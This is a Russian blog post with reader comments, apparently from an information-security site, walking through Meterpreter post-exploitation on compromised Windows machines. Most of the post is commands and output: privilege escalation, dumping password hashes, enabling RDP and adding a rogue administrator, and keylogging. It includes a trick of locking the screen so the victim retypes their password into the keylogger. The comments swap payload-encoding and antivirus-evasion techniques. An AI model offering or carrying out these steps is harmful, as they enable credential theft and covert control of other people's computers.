Секреты Meterpreter Payload

Что такое Meterpreter?

Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.

Первым, наиболее частым действием является внедрение в процесс explorer'a. Эту возможность предоставляет команда migrate:

meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов - ps
[*] Migrating to 1888...
[*] Migration completed successfully.


Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:

meterpreter > getsystem
...got system (via technique 1).


Сбор информации

Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine ........
[*] UAC is Disabled
[*] Running Command List ...
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands ....
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!


Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.

Удаленный рабочий стол

Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc

Далее нам потребуется добавить нового пользователя:

meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group '������������ ���������� �������� �����'
[*] Adding User: NAME to local group '��������������'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc


Где NAME — имя пользователя, PASSWORD — пароль.

Получить шелл

Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.

Операции с оборудованием

Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:

uictl [enable/disable] [keyboard/mouse]

Enable — включает; disable — отключает.

meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse...
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse...
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard...
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard...


Кейлогер

Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.

Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...


Ruby

Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:

meterpreter > irb
> client.core.use(«railgun»)
=> true


Затем, чтобы заблокировать рабочую станцию:

> client.railgun.user32.LockWorkstation() #блокируем
=> {«GetLastError» => 0. «return» => true} #все в порядке


Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:

meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> {«GetLastError» => 0. «return» => true}


Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.

Вывести диалог с сообщением также просто:

> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)

Подробнее о выводе таких сообщений можете почитать в MSDN.

Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.

Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:

meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор

Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.

Заключение

Meterpreter — прекрасный инструмент для удаленного управления, имеющий в дополнение к большому количеству встроенных инструментов возможность расширения функционала. При этом всем он абсолютно незаметен для большинства антивирусов (все не проверял, не знаю). Есть конечно отдельные инструменты для его обнаружения, например Symantec его выпустила и его можно скачать, но большинство рядовых пользователей не в курсе что такое meterpreter и чем это грозит, поэтому, ИМХО, скачивать отдельный продукт для его обнаружения не будут.
Поделиться публикацией

Комментарии 29

    –1
    Ну все равно без соц. инженеринга не получится провернуть грязные делишки.
      0
      Почему же, на закрытых багтрекерах довольно много 0day уязвимостей (про WinXP молчу), и при навыках написания эксплоитов они успешно используются для проникновения на удаленную машину без соц. инженеринга. Позже я напишу статью о написании эксплоитов и адаптации их под использование в Metasploit. Но это будет позже, а сейчас есть уже известные уязвимости, которые позволяют сделать многое. Я не отрицаю важности наличия навыков соц. инженеринге, но есть ряд случаев когда это не требуется. Для win-пользователей скажу одно — не забывайте о апдейтах.
        –1
        Да =) Однажды мне даже помог exploit-db.com. Не реклама.
          +1
          За мою достаточно большую практику работы в качестве пентестера различных компаний от маленьких до больших, неудачных пентестов на Windows платформах — не было. Я сейчас не говорю о том, что windows дырявая, уязвимости были не только в операционной системе просто не разу не встретил полного ручного или автоматического контроля за своевременным обновлением ПО и аудита политик, всегда находился какой нибудь «заброшенный» сервер или рабочая станция с уязвимостью и хешем админа.
            0
            Обидно, но это так.
              0
              Абсолютно согласен!
          +3
          За статью спасибо — интересно было узнать о подобном инструменте.
          Приведенное в начале определение этой штуки, правда, совсем не сразу дошло. Что касается целей использования и обнаружения антивирусами — тот же powershell обладает схожими возможностями и многими (мною в том числе) используется для выполнения задач администрирования компов в сети, однако тоже не считается опасным ПО и не обнаруживается антишпионским ПО.
          А вот почему у вас при тестировании Outpost и подобные не сочли подозрительным внедрение процесса в память другого процесса — по крайней мере странно.
            0
            Я честно говоря тоже удивился, но реакции не было никакой, ради интереса я даже снимал скриншоты периодически, и никакой реакции замечено не было. На одной из тестируемых систем (случайно выбранный компьютер в локальной сети с множественными уязвимостями) был установлен NOD32, после проникновения, и после нескольких произвольных (для пользователя) ребутов, был запущен Dr. Web в режиме максимальной защищенности (не помню как это там у них называется, я на Линуксе сижу) и все равно ноль реакции. Outpost, обновленный был запущен на двух тестируемых компьютерах, команда killav его срубила в первом случае, во втором случае было добавлено исключение в фаервол, и опять же Outpost это принял как должное.
            0
            палится он почти всеми популярными АВ. приходится вручную в ольке чистить
              +1
              а msfvenom на что? тройной крипт payload и уже не палиться совсем.
                0
                Согласен, msfvenom важная деталь.
                  0
                  а Вы пробовали давно?
                  я в курсе msfenom'a. ни тройной, ни пятирной крипт той же shikata_ga_nai не помогает
                    0
                    Нет, не давно, насчет shikata_ga_nai ничего не могу сказать, однако за всю практику ни разу не засветил свое присутствие в системе (конечно же использую не только meterpreter) используя разные крипторы, msfvenom включительно
                      0
                      Совсем недавно пробовал. как раз shikata_ga_nai. У вас версия метасплоита свежая? у меня 4.1, возможно там обновились алгоритмы просто. А у вас кто ловит?
                        0
                        шикатой энкодил с разными итерациями и темплейтами ехе. на «нетвирусспасибо» детектилось 4-6 АВ. какие точно не помню, то точно среди них авира и аваст. приходилось олькой ковырять, после чего все становилось ок. а вот по поводу версии метасплоита вы, возможно, правы. у меня счас стоит metasploit v4.0.1-dev [core:4.0 api:1.0]. надо бы обновиться и проверить еще раз
                        0
                        Делал так: берется шеллкод в -e shikata_ga_nai -t raw, пишется для него маленькая оболочка, которая делает inflate, VirtualAlloc и jmp far. Работает.
                          0
                          Как я понял, определяются по сигнатурам или чему-то еще (msfvenom вроде нопы вставляет) распоковщики всех популярных xor-энкодеров.
                    0
                    Вот здесь более полная информация
                      0
                      Почему-то первый и последний абзацы перепутаны местами. Из первого же невозможно понять, что это такое.
                        0
                        Не вижу спутанности, в первом написано общее определение, переведенное с официальной документации. Последнее — сугубо мое мнение относительно данного Payload'а. Я же не могу привести свое мнение как истину в последней инстанции в качестве определения.
                          0
                          Первый абзац не является определением, потому что в нём указывается ближайшее родовое понятие «начинка», но не даётся исчерпывающий список отличий от него.

                          Это же ваша статья, она интересна интересна сугубо вашим мнение в большей степени, нежели перепечаткой официальных текстов. И уж тем более понятие читателям важнее определения.
                            0
                            Спасибо за Ваше мнение, на будущее обязательно учту.
                        –1
                        О чём статья?
                        Вступление совсем не иформативное, теги тоже.
                        Дайте хотя бы два три предложения из какой облсати и что делает.
                          0
                          Статья о payload'у под названием meterpreter. Статья рассказывает о том, как использовать его в качестве инструмента удаленного администрирования. Meterpreter широко используется в Metasploit (все версии). Если есть еще вопросы — задавайте, с удовольствием отвечу.
                            0
                            Что такое payload? Извините но не все варятся в вашей области потому хотя бы введение вы должны написать так чтобы даже люди далёкие поняли очём она.
                            Что то вроде: «В даной статье хочу рассмотреть как создать рассширение для продукта тестирования уязвимостей Metasploit с помощью meterpreter payload. Payload-ом называются разширения к Metasploit en.wikipedia.org/wiki/Metasploit_Project#Payloads.» или как-то так.
                            Иначе та часть аудитории которая не знает как-это называется но е' интересно даже не обратит внимание на вашу статью.
                            Да и из песочницы такую сырую статью вряд-ли кто-то вытянет, редактор просто увидин плохо написаную статью о чёрт знает чём.
                              0
                              Прочитав всю статью станет понятно даже человеку, который не «варится» в моей области, ИМХО
                                0
                                И эта статья не о том как создать расширение, она о расширении, которое уже создано. Payload — не расширение к metasploit, а код, который должен выполниться в результате эксплуатирования уязвимости.
                                  –1
                                  Вопрос почему этого нет в оглавлении?
                                  Большинство читателей судят о статье по оглавлению. С существующим оглавлением шансы выпасть из песочницы невелики, ещё меньшие шансы что её будут читать целиком.
                                    0
                                    Это как раз таки есть в заголовке. Не вижу смысла разжевывать базовые понятия, которые прямого отношения к теме статьи не имеют, при том что она опубликована в блоге «Информационная безопасность», это подразумевает то, что вы в курсе основных понятий и не будете задавать вопросы, не имеющие отношения к обсуждению данной статьи. Про шансы выпасть из песочницы и чтение целиком — это не ваша забота. Вместо неконструктивной критики — напишите свою статью, покажите как надо писать. На этом этот оффтоп прекращаю.

                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                          Самое читаемое